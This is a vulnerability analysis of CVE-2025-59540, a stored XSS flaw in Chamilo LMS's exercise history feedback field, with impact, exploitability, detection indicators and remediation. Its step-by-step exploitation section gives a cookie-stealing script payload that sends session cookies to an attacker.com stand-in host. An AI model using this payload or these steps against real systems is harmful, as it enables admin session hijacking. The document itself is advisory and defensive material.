CVE-2025-59540: 
Chamilo vulnerability analysis and mitigation

CVE-2025-59540 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS that allows a lower-privileged staff account to inject and execute arbitrary JavaScript in the browser of higher-privileged admin users. The vulnerability affects all Chamilo LMS versions prior to 1.11.34 (specifically confirmed in version 1.11.32 and earlier). It was published on March 6, 2026, with the security advisory (GHSA-59h4-34mx-m67m) released by the Chamilo project on March 5, 2026. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 6.4 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-80 (Improper Neutralization of Script-Related HTML Tags), arising from insufficient output encoding of user-supplied feedback text in the exercise history page (public/main/exercise/exercise_history.php). An attacker with a staff-level account submits a malicious JavaScript payload into the feedback field; because the application stores and later renders this input without proper HTML encoding, the script persists in the database and executes in any admin's browser upon viewing the exercise history page. No special configuration or complex conditions are required beyond possessing a valid staff account (GitHub Advisory).

Successful exploitation enables a staff-level attacker to execute arbitrary JavaScript in the context of an admin user's browser session, effectively achieving privilege escalation from staff to administrator. Concrete consequences include theft of admin session cookies or authentication tokens, unauthorized administrative actions performed on behalf of the admin, and exfiltration of sensitive data accessible only to administrators. The stored nature of the payload means it executes on every admin view of the affected page until manually removed, amplifying the risk of persistent compromise (GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.047%, reflecting a low probability of near-term exploitation. Exploitation requires a valid staff account and passive user interaction (an admin must view the exercise history page), which somewhat limits opportunistic attack scenarios (GitHub Advisory, Red Hat CVE).

1. Obtain a staff account: Register or compromise a staff-level account on the target Chamilo LMS instance running a version prior to 1.11.34.
2. Navigate to the exercise feedback field: Log in as the staff user and access an exercise where feedback can be submitted (e.g., via the exercise history or grading interface).
3. Inject a malicious payload: Enter a JavaScript payload into the feedback field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML event-handler-based payload.
4. Submit the feedback: Save or submit the feedback; the malicious script is stored in the Chamilo database without proper sanitization.
5. Wait for admin interaction: The payload executes automatically when an administrator views the exercise history page (public/main/exercise/exercise_history.php) containing the poisoned feedback entry.
6. Harvest results: The attacker receives the admin's session cookie or token at their controlled endpoint, enabling session hijacking and full administrative access to the LMS (GitHub Advisory).

• Logs: Web server access logs showing unexpected outbound requests from admin browser sessions to external domains immediately after accessing /main/exercise/exercise_history.php; application logs recording unusual admin actions (e.g., account creation, permission changes) not initiated by the admin.
• Database: Feedback entries in the exercise history table containing HTML tags (<script>, <img>, onerror=, javascript:) or encoded equivalents in the feedback/comment fields.
• Network: Outbound HTTP/HTTPS requests from admin client browsers to unfamiliar external hosts carrying cookie or token data in query parameters (e.g., ?c=, ?token=, ?data=).
• Session: Admin accounts exhibiting unexpected activity (new user creation, privilege changes, configuration modifications) inconsistent with normal admin behavior, potentially indicating session hijacking.

The primary remediation is to upgrade Chamilo LMS to version 1.11.34 or later, which addresses this vulnerability through proper output encoding in the exercise history feedback rendering logic (GitHub Release). For organizations unable to patch immediately, recommended interim mitigations include: restricting staff account creation to trusted users only, implementing a strict Content Security Policy (CSP) header to limit script execution, and monitoring the exercise history page for suspicious feedback content. Administrators should also review existing feedback entries for injected scripts and remove any suspicious content from the database (GitHub Advisory).